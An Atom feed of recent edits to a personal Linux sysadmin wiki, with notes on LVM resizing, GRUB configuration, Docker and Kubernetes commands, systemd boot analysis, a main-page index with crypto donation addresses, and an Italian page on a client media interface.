&lt;br /&gt;
== delete a PV ==&lt;br /&gt;
 vgremove vg_1&lt;br /&gt;
 Volume group &amp;quot;vg_1&amp;quot; successfully removed&lt;br /&gt;
&lt;br /&gt;
= Resizing out from Disk-&amp;gt;PV-&amp;gt;LV-&amp;gt;Partition =&lt;br /&gt;
&lt;br /&gt;
* After resizing a physical drive this commands will claim the space gained to the file system.&lt;br /&gt;
*resizing LVM linux partition to the new disk boundaries&lt;br /&gt;
 pvresize /dev/md1&lt;br /&gt;
&lt;br /&gt;
 pvresize --setphysicalvolumesize (size here) /dev/sda5&lt;br /&gt;
&lt;br /&gt;
* adding 100G &lt;br /&gt;
 lvextend -L+100G /dev/mapper/vg0-var&lt;br /&gt;
* ext4 resizing command&lt;br /&gt;
 resize2fs /dev/mapper/vg0-var&lt;br /&gt;
&lt;br /&gt;
 df -hT&lt;br /&gt;
&lt;br /&gt;
= Logical Volumes =&lt;br /&gt;
== create a mirror volume ==&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 931g vg_1 -m 1 vg_1&lt;br /&gt;
&lt;br /&gt;
== create a mirror from existing and mounted volume ==&lt;br /&gt;
&lt;br /&gt;
 lvconvert -m1 vg_1/lv_home&lt;br /&gt;
&lt;br /&gt;
* then we check the result:&lt;br /&gt;
 # pvs;echo;vgs;echo;lvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree &lt;br /&gt;
  /dev/sda2  vg_1 lvm2 a--  930.82g     0 &lt;br /&gt;
  /dev/sdb   vg_1 lvm2 a--  931.31g 56.33g&lt;br /&gt;
&lt;br /&gt;
  VG         #PV #LV #SN Attr   VSize VFree &lt;br /&gt;
  vg_1  2   3   0 wz--n- 1.82t 56.33g&lt;br /&gt;
&lt;br /&gt;
  LV      VG         Attr     LSize   Pool Origin Data%  Move Log          Copy%  Convert&lt;br /&gt;
  lv_home vg_1 mwi-aom- 874.98g                         lv_home_mlog 100.00        &lt;br /&gt;
  lv_root vg_1 -wi-ao--  50.00g                                                    &lt;br /&gt;
  lv_swap vg_1 -wi-ao--   5.84g&lt;br /&gt;
&lt;br /&gt;
=== xx is using an old PV header, modify the VG to update. ===&lt;br /&gt;
&lt;br /&gt;
 vgck --updatemetadata xx&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=GRUB&amp;diff=6445</id>
		<title>GRUB</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=GRUB&amp;diff=6445"/>
		<updated>2025-01-19T09:21:39Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Grub 2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Grub 2 =&lt;br /&gt;
* command that generates and prints out configuration:&lt;br /&gt;
 grub2-mkconfig&lt;br /&gt;
* save configuration&lt;br /&gt;
 grub2-mkconfig -o /boot/grub/grub.cfg&lt;br /&gt;
* regenerate EFI file&lt;br /&gt;
 mv /boot/efi/EFI/fedora/grub.cfg /tmp/grub.cfg&lt;br /&gt;
 dnf reinstall grub2-common&lt;br /&gt;
&lt;br /&gt;
* get OS's list of labels&lt;br /&gt;
 grep ^menuentry /boot/grub2/grub.cfg | cut -d &amp;quot;'&amp;quot; -f2&lt;br /&gt;
 Fedora&lt;br /&gt;
 Ubuntu 12.04.2 LTS (12.04)&lt;br /&gt;
 Gentoo Base System release 2.1&lt;br /&gt;
* show actual default entry&lt;br /&gt;
 grub2-editenv list&lt;br /&gt;
 saved_entry=Fedora Linux, with Linux 3.6.6-1.fc17.i686.PAE&lt;br /&gt;
* alter default entry&lt;br /&gt;
 grub2-set-default &amp;quot;Gentoo Base System release 2.1&amp;quot;&lt;br /&gt;
* check...&lt;br /&gt;
 grub2-editenv list&lt;br /&gt;
 saved_entry=Gentoo Base System release 2.1&lt;br /&gt;
&lt;br /&gt;
== Other Operative Systems disappeared ==&lt;br /&gt;
&lt;br /&gt;
From debian 12, an option in grub config will disable the scan for other OS's thus making impossible to boot from them. &lt;br /&gt;
how to fix:&lt;br /&gt;
* open the config&lt;br /&gt;
 vi /etc/default/grub&lt;br /&gt;
* un-comment or add this line:&lt;br /&gt;
 GRUB_DISABLE_OS_PROBER=false&lt;br /&gt;
* regenerate grub config:&lt;br /&gt;
 update-grub&lt;br /&gt;
&lt;br /&gt;
= Grub 1.X =&lt;br /&gt;
&lt;br /&gt;
[http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&amp;amp;chap=10 Link a una documentazione...]&lt;br /&gt;
&lt;br /&gt;
==== Installing GRUB in the Master Boot Record ====&lt;br /&gt;
&lt;br /&gt;
* Con ''grub-install''&lt;br /&gt;
 grub-install /dev/hda&lt;br /&gt;
o meglio... '''(se si sta installando il sistema)'''&lt;br /&gt;
 chroot /mnt/sysimage/&lt;br /&gt;
** con la directory boot sta nella /&lt;br /&gt;
 /sbin/grub-install --root-directory=/boot /dev/md1&lt;br /&gt;
** con la directory boot è una partizione&lt;br /&gt;
 /sbin/grub-install --root-directory=/ /dev/md0&lt;br /&gt;
&lt;br /&gt;
* find grub copies:&lt;br /&gt;
 grub&amp;gt; find /grub/stage1&lt;br /&gt;
* or...&lt;br /&gt;
 grub&amp;gt; find /boot/grub/stage1&lt;br /&gt;
&lt;br /&gt;
* ''grub'' (/usr/sbin/grub)&lt;br /&gt;
 grub&amp;gt; device (hd0) /dev/sdb (/dev/hdb for ide)&lt;br /&gt;
 grub&amp;gt; root (hd0,0)          (La partizione di boot, Disco 0 Partizione 0)&lt;br /&gt;
 grub&amp;gt; setup (hd0)           (Installa GRUB nel MBR)&lt;br /&gt;
 grub&amp;gt; quit                  (Esci dalla shell GRUB)&lt;br /&gt;
&lt;br /&gt;
==== Immagine sfondo grub ====&lt;br /&gt;
    1. xpm.gz file&lt;br /&gt;
    2. 640x480&lt;br /&gt;
    3. 14 colors&lt;br /&gt;
    4. copiare in /boot/grub&lt;br /&gt;
    5. gzip myfile.xpm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== VGA modes ====&lt;br /&gt;
 | 640x480 800x600 1024x768 1280x1024&lt;br /&gt;
 ----+-------------------------------------&lt;br /&gt;
 256 | 0x301 0x303 0x305 0x307&lt;br /&gt;
 32k | 0x310 0x313 0x316 0x319&lt;br /&gt;
 64k | 0x311 0x314 0x317 0x31A&lt;br /&gt;
 16M | 0x312 0x315 0x318 0x31B&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Docker&amp;diff=6444</id>
		<title>Docker</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Docker&amp;diff=6444"/>
		<updated>2025-01-19T08:49:21Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==docker==&lt;br /&gt;
* list loaded images&lt;br /&gt;
 docker images&lt;br /&gt;
* list running containers&lt;br /&gt;
 docker ps&lt;br /&gt;
* list all containers&lt;br /&gt;
 docker ps -a&lt;br /&gt;
* pull debian image from pub repo&lt;br /&gt;
 docker image pull debian:bookworm&lt;br /&gt;
* stop a container&lt;br /&gt;
'''data is deleted if volume non persistent!'''&lt;br /&gt;
 docker container stop &lt;br /&gt;
&lt;br /&gt;
* get container status&lt;br /&gt;
 docker top&lt;br /&gt;
&lt;br /&gt;
* load an image from file&lt;br /&gt;
 docker load -i container-name.1.0.0.tar.gz&lt;br /&gt;
* push (upload) an image to a private repository&lt;br /&gt;
 docker login myprivaterepo.intranet.lan&lt;br /&gt;
...&lt;br /&gt;
 docker push myprivaterepo.intranet.lan/project/package-name:tag&lt;br /&gt;
* run a container with a port map&lt;br /&gt;
 docker run -d --name container-name -p 5678:5678 container-name:1.0.0 &lt;br /&gt;
* get container logs&lt;br /&gt;
 docker logs &amp;lt;container ID&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* execute a command in the container and print output to stdout&lt;br /&gt;
 docker exec &amp;lt;container ID&amp;gt; &amp;lt;command&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Permission denided ...sock ===&lt;br /&gt;
&lt;br /&gt;
 sudo setfacl --modify user:devuser:rw /var/run/docker.sock&lt;br /&gt;
&lt;br /&gt;
== Kubernetes ==&lt;br /&gt;
Details about all nodes:&lt;br /&gt;
 kubectl describe nodes&lt;br /&gt;
Start container testing parameters&lt;br /&gt;
 kubectl apply --validate -f mypod.yaml&lt;br /&gt;
Save pod configuration to file&lt;br /&gt;
 kubectl get pods/mypod -o yaml &amp;gt; mypod.yaml&lt;br /&gt;
Show running pods IP address&lt;br /&gt;
 kubectl get pods -l app=&amp;lt;app name&amp;gt; -o go-template='{{range .items}}{{.status.podIP}}{{&amp;quot;\n&amp;quot;}}{{end}}'&lt;br /&gt;
Exposes the service to the net&lt;br /&gt;
 kubectl expose deployment &amp;lt;app name&amp;gt; --port=80 --target-port=9376&lt;br /&gt;
Get the services for an app&lt;br /&gt;
 kubectl get svc &amp;lt;app name&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Systemd&amp;diff=6443</id>
		<title>Systemd</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Systemd&amp;diff=6443"/>
		<updated>2025-01-18T10:07:07Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== And NetworkManager ==&lt;br /&gt;
&lt;br /&gt;
=== Systemd ===&lt;br /&gt;
 $ systemd-analyze blame&lt;br /&gt;
          4.931s NetworkManager-wait-online.service&lt;br /&gt;
          2.093s mysqld.service&lt;br /&gt;
          1.262s plymouth-quit-wait.service&lt;br /&gt;
           590ms akmods-shutdown.service&lt;br /&gt;
           493ms akmods.service&lt;br /&gt;
           468ms mnt-bk03.mount&lt;br /&gt;
           353ms home.mount&lt;br /&gt;
           313ms httpd.service&lt;br /&gt;
&lt;br /&gt;
 systemd-analyze&lt;br /&gt;
 Startup finished in 1.022s (kernel) + 333ms (initrd) + 3min 141ms (userspace) = 3min 1.497s&lt;br /&gt;
&lt;br /&gt;
 # systemd-analyze plot &amp;gt; bootchart.svg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NetworkManager ===&lt;br /&gt;
 ip=10.10.1.10::10.10.1.1:255.255.0.0:hostname:ens2.100:none:8.8.8.8&lt;br /&gt;
 vlan=ens2.100:ens2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ip=192.168.0.79::192.168.0.1:255.255.255.0:gngwrk1:enp0s25.20:none:8.8.8.8&lt;br /&gt;
 vlan=enp0s25.20:enp0s25&lt;br /&gt;
&lt;br /&gt;
Configuring a Vlan on a Bond (DHCP)&lt;br /&gt;
Dracut Kernel Arguments&lt;br /&gt;
Template&lt;br /&gt;
ip=${bondname}.${vlanid}:dhcp&lt;br /&gt;
bond=${bondname}:${subnic1},${subnic2}:mode=active-backup,miimon=100&lt;br /&gt;
vlan=${bondname}.${vlanid}:${bondname}&lt;br /&gt;
Rendered&lt;br /&gt;
ip=bond0.100:dhcp&lt;br /&gt;
bond=bond0:ens2,ens3:mode=active-backup,miimon=100&lt;br /&gt;
vlan=bond0.100:bond0&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6435</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Main_Page&amp;diff=6435"/>
		<updated>2024-12-22T10:58:03Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Internet &amp;amp; Network Applications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Welcome to Alessandro's wiki'''&lt;br /&gt;
&lt;br /&gt;
''I've populated this page along the path I'm following through the information technology world.&lt;br /&gt;
Beware! some information may be really outdated, started in 2006.&lt;br /&gt;
&lt;br /&gt;
''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''&lt;br /&gt;
&lt;br /&gt;
donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
&lt;br /&gt;
    BTC &lt;br /&gt;
        1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
    LTC &lt;br /&gt;
        LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;br /&gt;
&lt;br /&gt;
[[Alessandro's_Wiki:About]]&lt;br /&gt;
&lt;br /&gt;
== System Administration Topics ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Internet &amp;amp; Network Applications ===&lt;br /&gt;
*; CMS, wiki, etc.&lt;br /&gt;
** [[Trac]]&lt;br /&gt;
** [[mediawiki]]&lt;br /&gt;
** [[Gallery]] ''online photo archive system''&lt;br /&gt;
** [[Plone]]&lt;br /&gt;
** [[Joomla]]&lt;br /&gt;
** [[Drupal]]&lt;br /&gt;
** [[Wordpress]]&lt;br /&gt;
** [[Owncloud]]&lt;br /&gt;
&lt;br /&gt;
*; Daemons&lt;br /&gt;
** [[Mail Systems]]&lt;br /&gt;
** [[mnogo]]&lt;br /&gt;
** [[supervisord]]&lt;br /&gt;
** [[Apache]]&lt;br /&gt;
** [[lighttpd]]&lt;br /&gt;
** [[Nginx]]&lt;br /&gt;
** [[hotsmtpd]] ''hotmail in Evolution''&lt;br /&gt;
** [[Ganglia]]&lt;br /&gt;
** [[MySQL]]&lt;br /&gt;
** [[PostgreSQL]]&lt;br /&gt;
** [[Oracle]]&lt;br /&gt;
** [[NetBoot]]&lt;br /&gt;
** [[Insync]] ''GoogleDrive(R) &amp;quot;emulator&amp;quot;''&lt;br /&gt;
*; Protocols&lt;br /&gt;
** [[SNMP]]&lt;br /&gt;
** [[NFS]] ''linux Networks''&lt;br /&gt;
** [[Samba]] ''windows networks''&lt;br /&gt;
** [[AFP]]  ''Apple networks''&lt;br /&gt;
** [[rsync]]&lt;br /&gt;
** [[SSH]] ''Secure SHell''&lt;br /&gt;
** [[CVS]]&lt;br /&gt;
** [[Subversion]]&lt;br /&gt;
** [[Git]]&lt;br /&gt;
** [[FTP]]&lt;br /&gt;
** [[OpenVPN]] ''Virtual Private Network''&lt;br /&gt;
** [[wget]] ''HTTP from terminal''&lt;br /&gt;
** [[httrack]] ''freeze a website''&lt;br /&gt;
** [[RealTimeWebContent]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Pure System ===&lt;br /&gt;
* [[CPU]] , [[CrossCompiling]]&lt;br /&gt;
* '''x86_64'''&lt;br /&gt;
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''&lt;br /&gt;
** [[Gentoo]]&lt;br /&gt;
*** [[make.conf|/etc/make.conf]]&lt;br /&gt;
*** [[USE_flags]] ,  [[webapp-config]]&lt;br /&gt;
* [[KDE (intorno)|KDE]] ,  [[Click destro KDE]]&lt;br /&gt;
* [[Gnome]]&lt;br /&gt;
* [[ Qemu ]]&lt;br /&gt;
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]&lt;br /&gt;
* [[VI|VI (Editor di testo)]]&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[Xorg]]&lt;br /&gt;
* [[PostInstallazioni]]&lt;br /&gt;
* [[BIOS]]&lt;br /&gt;
* [[processes and threads]]&lt;br /&gt;
* [[sudo]]&lt;br /&gt;
* [[RemoteConsoles]]&lt;br /&gt;
* [[systemd]]&lt;br /&gt;
&lt;br /&gt;
=== Networking Layer ===&lt;br /&gt;
&lt;br /&gt;
* [[Ethernet]]&lt;br /&gt;
** [[dhcp]]&lt;br /&gt;
** [[Bridging]]&lt;br /&gt;
** [[NAT]]&lt;br /&gt;
* [[Wireless]]&lt;br /&gt;
** [[Schede]]&lt;br /&gt;
** [[Wardriving]]&lt;br /&gt;
* [[Firewall (iptables)]]&lt;br /&gt;
* [[Livello Fisico|Physical Layer]]&lt;br /&gt;
* [[IP Protocol]]&lt;br /&gt;
* [[router-language]]&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Multimedia ===&lt;br /&gt;
* Video&lt;br /&gt;
** [[Kodi]]&lt;br /&gt;
** [[Resolution Standards]]&lt;br /&gt;
** [[VideoCaptureAdapters]]&lt;br /&gt;
** [[MPLAYER_MENCODER|mplayer, mencoder &amp;amp; ffmpeg]]&lt;br /&gt;
** [[ffserver|ffserver]]&lt;br /&gt;
** [[crtmpserver|C++ rtmp Server]]&lt;br /&gt;
** [[motion]]&lt;br /&gt;
** [[Imagemagick]]&lt;br /&gt;
** [[DVDStyler]] (authoring DVD)&lt;br /&gt;
** [[PiTiVi]] (montaggio video)&lt;br /&gt;
** [[Kino]] &lt;br /&gt;
** [[youtube]]&lt;br /&gt;
** [[JWplayer]]&lt;br /&gt;
** [[DarwinStreamingServer]]&lt;br /&gt;
** [[Conversioni Numeriche]]&lt;br /&gt;
** [[webcamstudio]]&lt;br /&gt;
* Audio&lt;br /&gt;
** [[Volumio]]&lt;br /&gt;
** [[pulseaudio]]&lt;br /&gt;
** [[Amarok]]&lt;br /&gt;
** [[ESOUND]]&lt;br /&gt;
** [[SOX]]&lt;br /&gt;
** [[mpd]] ''Music server''&lt;br /&gt;
*; Network / Server&lt;br /&gt;
** [[Skype]]&lt;br /&gt;
** [[Converter]]&lt;br /&gt;
** [[RealMedia]]&lt;br /&gt;
** [[red5]]&lt;br /&gt;
** [[erlyvideo]]&lt;br /&gt;
** [[Beryl Window Manager]]&lt;br /&gt;
* Drivers&lt;br /&gt;
** [[saa713x]]&lt;br /&gt;
** [[touchscreen]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Storage, File Systems &amp;amp; Data Recovery ===&lt;br /&gt;
* [[FileSystems]]&lt;br /&gt;
* [[devices and storage]] ''manage, analyze, etc.''&lt;br /&gt;
** [[SCSI]]&lt;br /&gt;
** [[Mounting devices]]&lt;br /&gt;
** [[crypted disk image]]&lt;br /&gt;
* [[RAID]]&lt;br /&gt;
* [[LVM]]&lt;br /&gt;
* [[Cattive abitudini]]&lt;br /&gt;
* [[Backups]]&lt;br /&gt;
** [[Bacula]]&lt;br /&gt;
* [[Propagazione]] &lt;br /&gt;
* [[ISO Managing (ISO9660)]]&lt;br /&gt;
* [[DRBD]]&lt;br /&gt;
&lt;br /&gt;
=== Kernel ===&lt;br /&gt;
* [[Kernel_boot_parameters|Boot Parameters]]&lt;br /&gt;
* [[Configuring|Configuring &amp;amp; compiling]]&lt;br /&gt;
* [[Sheduling]]&lt;br /&gt;
* [[IO Sheduler]]&lt;br /&gt;
* [[mettere alla prova]]&lt;br /&gt;
* [[memory]]&lt;br /&gt;
* [[entropy]]&lt;br /&gt;
* [[clock]]&lt;br /&gt;
* [[Docker]]&lt;br /&gt;
&lt;br /&gt;
=== Monitoring &amp;amp; Security ===&lt;br /&gt;
* [[lm_sensors]] ''linux hardware sensor layer''&lt;br /&gt;
* [[Nagios]] ''advanced sesor-based network monitoring system''&lt;br /&gt;
* [[Munin]]  ''draws graphs from system sensors''&lt;br /&gt;
* [[Ganglia]] ''graphs and host grouping for clusters''&lt;br /&gt;
* [[MRTG]]  ''rrdtool based snmp-based switch grapher''&lt;br /&gt;
** '''''security'''''&lt;br /&gt;
* [[Tripwire]]&lt;br /&gt;
* [[Supervisord]]&lt;br /&gt;
* [[Awstats]]&lt;br /&gt;
* [[Observium]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Crypto, Cypherpunks and Hippy Brokers ==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|+ &lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Crypto world Information ===&lt;br /&gt;
&lt;br /&gt;
News&lt;br /&gt;
* https://www.coindesk.com/&lt;br /&gt;
* https://cointelegraph.com/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
data and graphs&lt;br /&gt;
* http://cryptocoin.cc/&lt;br /&gt;
* https://coinmarketcap.com/&lt;br /&gt;
* https://coincheckup.com/&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
* [[Crypto]] Exchanges and Stuff&lt;br /&gt;
* [[Wallets]]&lt;br /&gt;
** [[Ethereum]]&lt;br /&gt;
'' loosing money is very easy !!!'' if you're not sure, better send it to me...&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;10%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Mining World ===&lt;br /&gt;
&lt;br /&gt;
* [[Mining]] ''my notes and mining experiments'' (use with care!!)&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== End Users Topics ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
==== GNU/Linux distos ====&lt;br /&gt;
&lt;br /&gt;
* [[Debian]]&lt;br /&gt;
** [[Ubuntu]]&lt;br /&gt;
** [[UbuntuStudio]]&lt;br /&gt;
* [[Scientific Linux]]&lt;br /&gt;
** [[RedHat Enterprise Linux]]&lt;br /&gt;
** [[CentOS]]&lt;br /&gt;
&lt;br /&gt;
[[TabellaCaratteristicheDistribuzioni]]&lt;br /&gt;
&lt;br /&gt;
[http://www.gentoo.org/][[Image:Gentoo.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]&lt;br /&gt;
&lt;br /&gt;
[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
[https://www.scientificlinux.org][[Image:scientificlinux.gif]]&lt;br /&gt;
&lt;br /&gt;
[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Programming/Scripting ===&lt;br /&gt;
* [[code analysis]] ''code analyzing software''&lt;br /&gt;
* [[BASH]]&lt;br /&gt;
* [[UML]]&lt;br /&gt;
* [[CSS]]&lt;br /&gt;
* [[PHP]]&lt;br /&gt;
* [[Javascript]]&lt;br /&gt;
* [[C]]&lt;br /&gt;
* [[SQL]]&lt;br /&gt;
* [[Curl]]&lt;br /&gt;
* [[Perl]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;50%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
===== Audio/Video =====&lt;br /&gt;
*'''[[Formati di Compressione]]'''&lt;br /&gt;
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''&lt;br /&gt;
*'''[[MPLAYER_MENCODER|Mplayer &amp;amp; Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''&lt;br /&gt;
*'''[[MIME Types]]''' ''associare tipi di file a programmi''&lt;br /&gt;
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''&lt;br /&gt;
*'''[[Audacity]]''' ''Editing audio''&lt;br /&gt;
*'''[[skype]]''' ''Skype &amp;amp; VoIP''&lt;br /&gt;
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''&lt;br /&gt;
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''&lt;br /&gt;
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''&lt;br /&gt;
&lt;br /&gt;
===== Some Random Stuff =====&lt;br /&gt;
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''&lt;br /&gt;
*'''[[DB|i database multimediali]]'''&lt;br /&gt;
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''&lt;br /&gt;
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''&lt;br /&gt;
*'''[[OpenVPN]]'''&lt;br /&gt;
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''&lt;br /&gt;
*; Apple&lt;br /&gt;
**'''[[Mac]]''' ''OSx''&lt;br /&gt;
** '''[[MacDevices]]''' ''using Apple devices on linux''&lt;br /&gt;
**'''[[maclinux]]''' ''Linux su MacBook''&lt;br /&gt;
**'''[[once upon a time, there was an apple]]'''&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== The World Beyond IT==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Robotics / Electronics ===&lt;br /&gt;
* [[Propulsori Stepper]]&lt;br /&gt;
* [[Porta Parallela]]&lt;br /&gt;
* [[Micro Controllori PIC]]&lt;br /&gt;
* [[Arduino]]&lt;br /&gt;
&lt;br /&gt;
=== Links: ===&lt;br /&gt;
&lt;br /&gt;
* http://foto.alessandrodelgallo.org  my photo gallery&lt;br /&gt;
* http://videoteeka.com my video gallery software ''(outdated)''&lt;br /&gt;
* http://www.youtube.com/user/porcelinux old YouTube channel&lt;br /&gt;
&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Languages ===&lt;br /&gt;
* [[Italiano]]&lt;br /&gt;
** a wonderful dictionary http://www.wordreference.com/&lt;br /&gt;
** dizionario etimologico: http://www.etimo.it/&lt;br /&gt;
** dizionario italiano http://www.demauro.it/&lt;br /&gt;
* [[Spangolo]]&lt;br /&gt;
* [[English]]&lt;br /&gt;
* [[Olandese]]&lt;br /&gt;
** [[living in the nederlands|Living in the Netherlands]]&lt;br /&gt;
* [[Deutsch]]&lt;br /&gt;
** [[Living in Germany]]&lt;br /&gt;
&lt;br /&gt;
*; [[Documicate]] what is [[documication]] ?&lt;br /&gt;
&lt;br /&gt;
* [[NienteNadaNothing]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Members_GUI&amp;diff=6434</id>
		<title>Members GUI</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Members_GUI&amp;diff=6434"/>
		<updated>2024-12-22T10:23:38Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Interfaccia clienti */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Interfaccia clienti ==&lt;br /&gt;
&lt;br /&gt;
Si accede da xx&lt;br /&gt;
La pagina e i servizi sottostanti sono stati sviluppati per dare la possibilità ai redattori&lt;br /&gt;
di pubblicare dei servizi multimediali a clienti diversi.&lt;br /&gt;
&lt;br /&gt;
=== Lato Operatore ===&lt;br /&gt;
&lt;br /&gt;
==== Gestione da interfaccia Web ====&lt;br /&gt;
L'interfaccia di controllo del sito web, gestisce l'archivio del materiale&lt;br /&gt;
e permette di popolare le code dei clienti &lt;br /&gt;
&lt;br /&gt;
===== Assegnazione =====&lt;br /&gt;
&lt;br /&gt;
# Navigare alla pagina '''''Lista Disponibili'''''&lt;br /&gt;
# Trovare la clip archiviata e cliccare '''''modifica''''' alla destra della tabella:&lt;br /&gt;
# Nella pagina di modifica, spostarsi nella parte ''Utenti/Clienti'' dove si trova &lt;br /&gt;
la lista degli utenti.&lt;br /&gt;
# Selezionare un Cliente e cliccare '''''&amp;quot;submit&amp;quot;''''' per confermare.&lt;br /&gt;
&lt;br /&gt;
===== Revoca =====&lt;br /&gt;
Seguire l' ''Assegnazione'' dal punto 4 &lt;br /&gt;
# Nella sezione ''Utenti/Clienti''   si trova un campo '''&amp;quot;Assegnato a:&amp;quot;''' &lt;br /&gt;
dove è riportata la lista di utenti che attualmente hanno la clip assegnata&lt;br /&gt;
# Per rimuovere un utente, cliccare su elimina al suo fianco.&lt;br /&gt;
&lt;br /&gt;
==== Gestione con click destro ====&lt;br /&gt;
&lt;br /&gt;
lo script videoclick.sh è stato esteso per gestire le code e le liste di materiali per i clienti&lt;br /&gt;
&lt;br /&gt;
